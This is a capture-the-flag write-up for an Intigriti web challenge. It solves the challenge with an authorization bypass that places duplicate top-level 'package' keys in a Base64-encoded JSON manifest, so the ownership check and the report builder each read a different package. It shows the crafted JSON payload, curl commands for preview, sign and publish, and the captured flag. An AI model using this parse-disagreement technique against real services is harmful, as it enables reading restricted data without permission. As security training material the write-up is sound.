Target: https://challenge-0726.intigriti.io/challenge.html
Bug class: Authorization bypass via duplicate top-level package keys (JSON parse disagreement)
Flag: INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}
- Landing page states the rules: latest Chrome, no self-XSS, no MitM, flag format
INTIGRITI{...}. - The app says the important part out loud: "A protected report contains the flag."
- This steers the investigation away from XSS-in-text-nodes and toward getting the server to build a report for a package you are not allowed to target.
The app (Registry Observatory / "Canonically Yours") is a Vite + React SPA with a preflight pipeline:
- Register or log in → get a private namespace (scope) and a CSRF token.
- Fill a JSON manifest naming a package triple
(scope, name, version). - Base64-encode the JSON into
manifest_b64. - Preview the manifest (schema + ownership checks).
- Sign it → server returns
approval_id,manifest_sha256,nonce,expires_at,signature. - Publish by replaying
manifest_b64plus the approval fields. - Read the report (existence, version, compatibility, release notes).
- The Observatory archive / component index names the target directly:
- Platform-maintained scope:
core - Restricted component:
security-notes(record CR-17, version 1.0.0)
- Platform-maintained scope:
- Direct access is blocked:
GET /api/packages/core/security-notes→403 "System package details are restricted"(proves the object exists, ACL rejects you).
- Working hypothesis: steal the preflight report pipeline, not the package-detail endpoint.
With a real account, run these experiments (each is a real request):
| Experiment | Result | Lesson |
|---|---|---|
Preflight own hello-world |
Report ready, ordinary notes | Pipeline works end-to-end |
scope: "core" alone |
Preview/sign rejected | Ownership is enforced somewhere |
Own scope + name security-notes |
status: not_found |
Name alone does not cross scopes |
| Sign own package, publish core bytes | Approval invalid | Signature binds full manifest bytes |
Extra keys / __proto__ / wrong operation / visibility |
Rejected | Schema is strict on members and enums |
Duplicate name keys inside one package object |
Last name used | Per-field parse is last-wins |
| Core package first, own package second | Preview fails | First top-level package drives authz |
| Own package first, core package second | Flag | Last top-level package drives report identity |
Also ruled out: stored XSS via description (React renders fields as text), approval mix-and-match, cross-user publication IDOR, Unicode confusables, path tricks, basic prototype pollution.
- A JSON object is a map of name/value pairs, but the text format allows the same name twice. Standard parsers keep the last value when building a map.
- This is fine if every step uses the same map. It breaks if:
- One check walks the raw text and takes the first member named
package(authorization). - Another step builds a normal object and takes the last member named
package(report identity).
- One check walks the raw text and takes the first member named
- Result: two truths in one document. Authz passes for truth A while the report is built from truth B.
Raw JSON (before Base64) — your namespace first, core/security-notes second:
{
"package": {
"scope": "<YOUR_NAMESPACE>",
"name": "hello-world",
"version": "1.0.0"
},
"package": {
"scope": "core",
"name": "security-notes",
"version": "1.0.0"
},
"metadata": {
"description": "x",
"visibility": "private"
},
"operation": "preflight"
}Replace <YOUR_NAMESPACE> with the value from GET /api/me (no leading @).
hello-world is used as the first package because it is a seeded starter package that exists in your namespace (gives a clean "package exists" report path).
# after login, keep cookies in jar file cj
NS=$(curl -sS -b cj -c cj https://challenge-0726.intigriti.io/api/me | jq -r .user.namespace)
CSRF=$(curl -sS -b cj https://challenge-0726.intigriti.io/api/me | jq -r .csrf_token)
# Build the dual-package JSON, UTF-8 encode, standard Base64 into $M
# 1. Preview
curl -sS -b cj -X POST https://challenge-0726.intigriti.io/api/manifests/preview \
-H "content-type: application/json" -H "x-csrf-token: $CSRF" \
-d "{\"manifest_b64\":\"$M\"}"
# -> {"valid":true,"operation":"preflight"}
# 2. Sign (keep approval_id, manifest_sha256, nonce, expires_at, signature)
curl -sS -b cj -X POST https://challenge-0726.intigriti.io/api/manifests/sign \
-H "content-type: application/json" -H "x-csrf-token: $CSRF" \
-d "{\"manifest_b64\":\"$M\"}"
# 3. Publish (replay manifest_b64 + approval fields)
curl -sS -b cj -X POST https://challenge-0726.intigriti.io/api/publications \
-H "content-type: application/json" -H "x-csrf-token: $CSRF" \
-d "{\"manifest_b64\":\"$M\", ...approval fields...}"
# -> 201 with publication_id
# 4. Fetch the protected report
curl -sS -b cj https://challenge-0726.intigriti.io/api/publications/$PID
# report.release_notes -> INTIGRITI{...}GET /api/publications/{publication_id}returnstarget: @core/security-notesand the flag insidereport.release_notes.- The same flag appears in the UI publication report for
@core/security-notes(status: ready).
Flag: INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}